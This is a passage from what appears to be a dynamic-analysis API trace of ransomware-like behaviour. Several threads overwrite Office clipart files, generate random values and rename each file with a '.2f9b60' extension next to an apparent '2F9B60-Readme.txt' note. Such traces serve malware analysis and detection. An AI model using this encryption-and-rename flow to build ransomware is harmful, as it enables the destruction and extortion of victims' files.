CloseHandle (hObject=0x14bc) returned 1 [0128.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205c970 [0128.363] wcscpy (in: _Dest=0x4205c970, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0128.363] wcscat (in: _Dest=0x4205c970, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0128.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0128.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0128.363] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c720) returned 1 Thread: id = 717 os_tid = 0x1218 [0096.700] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf")) returned 0x20 [0106.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF", dwFileAttributes=0x20) returned 1 [0107.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15d4 [0107.023] GetFileSizeEx (in: hFile=0x15d4, lpFileSize=0x2cdaf960 | out: lpFileSize=0x2cdaf960*=17236) returned 1 [0107.023] SetFilePointerEx (in: hFile=0x15d4, liDistanceToMove=0x4350, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.023] ReadFile (in: hFile=0x15d4, lpBuffer=0x2cdaf8e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cdaf928, lpOverlapped=0x0 | out: lpBuffer=0x2cdaf8e0*, lpNumberOfBytesRead=0x2cdaf928*=0x4, lpOverlapped=0x0) returned 1 [0107.027] SetFilePointerEx (in: hFile=0x15d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0107.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced84c0 [0107.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0107.027] NtQuerySystemTime (in: CurrentTime=0x2cdaf820 | out: CurrentTime=0x2cdaf820*=132462177125146000) returned 0x0 [0107.027] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x3716d71e [0107.027] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x3104d4f4 [0107.027] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x17c80e01 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x153cb4fa [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x4a6debc8 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x2a63adb1 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x73be0b2c [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x47bea3b7 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x3f120539 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x4c38cb04 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x26ebd2fa [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x10bba1b9 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x6a94de46 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x3fada789 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x58ea65 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x5c1117c3 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x70033cb2 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x288659b6 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x10fe0a4f [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x68b514e4 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x1a2da671 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x2f70a9e0 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0xadb02b0 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x483d4a9 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x7943b3fc [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x39639d01 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x359e13d0 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x64a4dd4d [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x6ac8c514 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x1ec9d324 [0107.028] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x77f46918 [0107.029] RtlRandomEx (in: Seed=0x2cdaf810 | out: Seed=0x2cdaf810) returned 0x429b0a18 [0107.041] SetFilePointerEx (in: hFile=0x15d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.041] ReadFile (in: hFile=0x15d4, lpBuffer=0x41ebd170, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cdaf880, lpOverlapped=0x0 | out: lpBuffer=0x41ebd170*, lpNumberOfBytesRead=0x2cdaf880*=0x3c00, lpOverlapped=0x0) returned 1 [0107.045] SetFilePointerEx (in: hFile=0x15d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0107.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0107.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0107.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0107.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41ec0d80 [0107.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0107.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0107.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c80) returned 1 [0107.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0107.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.046] WriteFile (in: hFile=0x15d4, lpBuffer=0x41ec0d80*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2cdaf880, lpOverlapped=0x0 | out: lpBuffer=0x41ec0d80*, lpNumberOfBytesWritten=0x2cdaf880*=0x3c00, lpOverlapped=0x0) returned 1 [0107.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ec0d80) returned 1 [0107.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41ebd170) returned 1 [0107.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82a630 [0107.133] SetFilePointerEx (in: hFile=0x15d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0107.133] WriteFile (in: hFile=0x15d4, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2cdaf930, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x2cdaf930*=0x10a, lpOverlapped=0x0) returned 1 [0107.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0107.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0107.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0107.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7d40) returned 1 [0107.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0107.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7d40 [0107.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7260 [0107.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7260) returned 1 [0107.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0107.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0107.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0107.144] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="af") returned 2 [0107.144] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="3d") returned 2 [0107.144] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="c6") returned 2 [0107.144] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="ee") returned 2 [0107.144] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="f3") returned 2 [0107.144] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="5e") returned 2 [0107.144] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="f3") returned 2 [0107.144] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="22") returned 2 [0107.144] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="a9") returned 2 [0107.145] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="64") returned 2 [0107.145] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="d9") returned 2 [0107.145] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="49") returned 2 [0107.145] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="41") returned 2 [0107.145] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="82") returned 2 [0107.145] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="a6") returned 2 [0107.145] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="f6") returned 2 [0107.145] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="f6") returned 2 [0107.145] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="39") returned 2 [0107.145] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="40") returned 2 [0107.145] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="dc") returned 2 [0107.145] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="82") returned 2 [0107.145] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="d2") returned 2 [0107.145] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="e2") returned 2 [0107.145] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="1e") returned 2 [0107.145] RtlInitAnsiString (in: DestinationString=0x2cdaf9a8, SourceString="af3dc6eef35ef322a964d9494182a6f6f63940dc82d2e21e" | out: DestinationString="af3dc6eef35ef322a964d9494182a6f6f63940dc82d2e21e") [0107.145] RtlAnsiStringToUnicodeString (in: DestinationString=0x2cdaf978, SourceString="af3dc6eef35ef322a964d9494182a6f6f63940dc82d2e21e", AllocateDestinationString=1 | out: DestinationString="af3dc6eef35ef322a964d9494182a6f6f63940dc82d2e21e") returned 0x0 [0107.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b864680 [0107.145] wcscat (in: _Dest=0x4205ce70, _Source="af3dc6eef35e" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af3dc6eef35e") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af3dc6eef35e" [0107.145] wcscat (in: _Dest=0x4205ce70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af3dc6eef35e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af3dc6eef35e.2f9b60" [0107.145] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af3dc6eef35e.2f9b60", NtPathName=0x2cdaf950, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\af3dc6eef35e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0107.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202797f0 [0107.146] NtSetInformationFile (FileHandle=0x15d4, IoStatusBlock=0x2cdaf9f0, FileInformation=0x202797f0, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202797f0) returned 1 [0109.494] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505f50) returned 1 [0109.494] NtQueryInformationFile (in: FileHandle=0x15d4, IoStatusBlock=0x2cdaf9b8, FileInformation=0x2cdaf9c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cdaf9b8, FileInformation=0x2cdaf9c8) returned 0x0 [0109.494] NtSetInformationFile (FileHandle=0x15d4, IoStatusBlock=0x2cdaf9b8, FileInformation=0x2cdaf9c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ce70) returned 1 [0109.500] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b864680) returned 1 [0109.500] FlushFileBuffers (hFile=0x15d4) returned 1 [0109.501] CloseHandle (hObject=0x15d4) returned 1 [0109.502] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205ce70 [0109.502] wcscpy (in: _Dest=0x4205ce70, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.502] wcscat (in: _Dest=0x4205ce70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.503] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205ce70) returned 1 [0109.503] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c7b0) returned 1 Thread: id = 718 os_tid = 0x121c [0096.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf")) returned 0x20 [0106.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF", dwFileAttributes=0x20) returned 1 [0107.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15c0 [0107.006] GetFileSizeEx (in: hFile=0x15c0, lpFileSize=0x2ce5f6c0 | out: lpFileSize=0x2ce5f6c0*=16112) returned 1 [0107.006] SetFilePointerEx (in: hFile=0x15c0, liDistanceToMove=0x3eec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.006] ReadFile (in: hFile=0x15c0, lpBuffer=0x2ce5f640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ce5f688, lpOverlapped=0x0 | out: lpBuffer=0x2ce5f640*, lpNumberOfBytesRead=0x2ce5f688*=0x4, lpOverlapped=0x0) returned 1 [0107.010] SetFilePointerEx (in: hFile=0x15c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0107.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0107.010] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0107.010] NtQuerySystemTime (in: CurrentTime=0x2ce5f580 | out: CurrentTime=0x2ce5f580*=132462177124990000) returned 0x0 [0107.010] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x78cdfca9 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x122eb75b [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x6b5db0dd [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x7688af39 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x39b781ec [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x4ab7e340 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x4fdc94c [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x54c17828 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x181fd153 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0xc40733e [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x5b7e9d8 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x6af1ffa9 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x49ec58b2 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x6c21990 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x2627d86b [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0xa123a79 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x3201356 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x1a620a24 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x76e183e5 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x1073cddd [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x2153d496 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x68c51c22 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x14db88da [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x2007f51b [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x5ce84481 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x49175d92 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x5132c838 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x1fb330d6 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x3f70c3d9 [0107.011] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x1bb462d [0107.012] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x2212b9d1 [0107.012] RtlRandomEx (in: Seed=0x2ce5f570 | out: Seed=0x2ce5f570) returned 0x41843d5f [0107.021] SetFilePointerEx (in: hFile=0x15c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.021] ReadFile (in: hFile=0x15c0, lpBuffer=0x41f13cc0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ce5f5e0, lpOverlapped=0x0 | out: lpBuffer=0x41f13cc0*, lpNumberOfBytesRead=0x2ce5f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0107.025] SetFilePointerEx (in: hFile=0x15c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.025] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0107.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0107.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0107.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7650) returned 1 [0107.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f39560 [0107.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7650 [0107.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0107.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0107.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0107.026] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0107.026] WriteFile (in: hFile=0x15c0, lpBuffer=0x41f39560*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ce5f5e0, lpOverlapped=0x0 | out: lpBuffer=0x41f39560*, lpNumberOfBytesWritten=0x2ce5f5e0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f39560) returned 1 [0128.366] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f13cc0) returned 1 [0128.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced6cc0 [0128.367] SetFilePointerEx (in: hFile=0x15c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.367] WriteFile (in: hFile=0x15c0, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2ce5f690, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x2ce5f690*=0x10a, lpOverlapped=0x0) returned 1 [0128.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059880 [0128.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867940 [0128.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7740 [0128.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7740) returned 1 [0128.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0128.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7740 [0128.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c80 [0128.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7c80) returned 1 [0128.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867940) returned 1 [0128.369] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059880) returned 1 [0128.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9e930 [0128.369] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="c0") returned 2 [0128.369] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="3a") returned 2 [0128.369] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="61") returned 2 [0128.369] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="a4") returned 2 [0128.369] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="b7") returned 2 [0128.369] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="ae") returned 2 [0128.369] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="99") returned 2 [0128.369] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="cd") returned 2 [0128.369] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="84") returned 2 [0128.370] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="aa") returned 2 [0128.370] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="c2") returned 2 [0128.370] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="61") returned 2 [0128.370] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="5b") returned 2 [0128.370] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="37") returned 2 [0128.370] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="77") returned 2 [0128.370] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="d4") returned 2 [0128.370] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="84") returned 2 [0128.370] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="e1") returned 2 [0128.370] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="a6") returned 2 [0128.370] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="f2") returned 2 [0128.370] sprintf 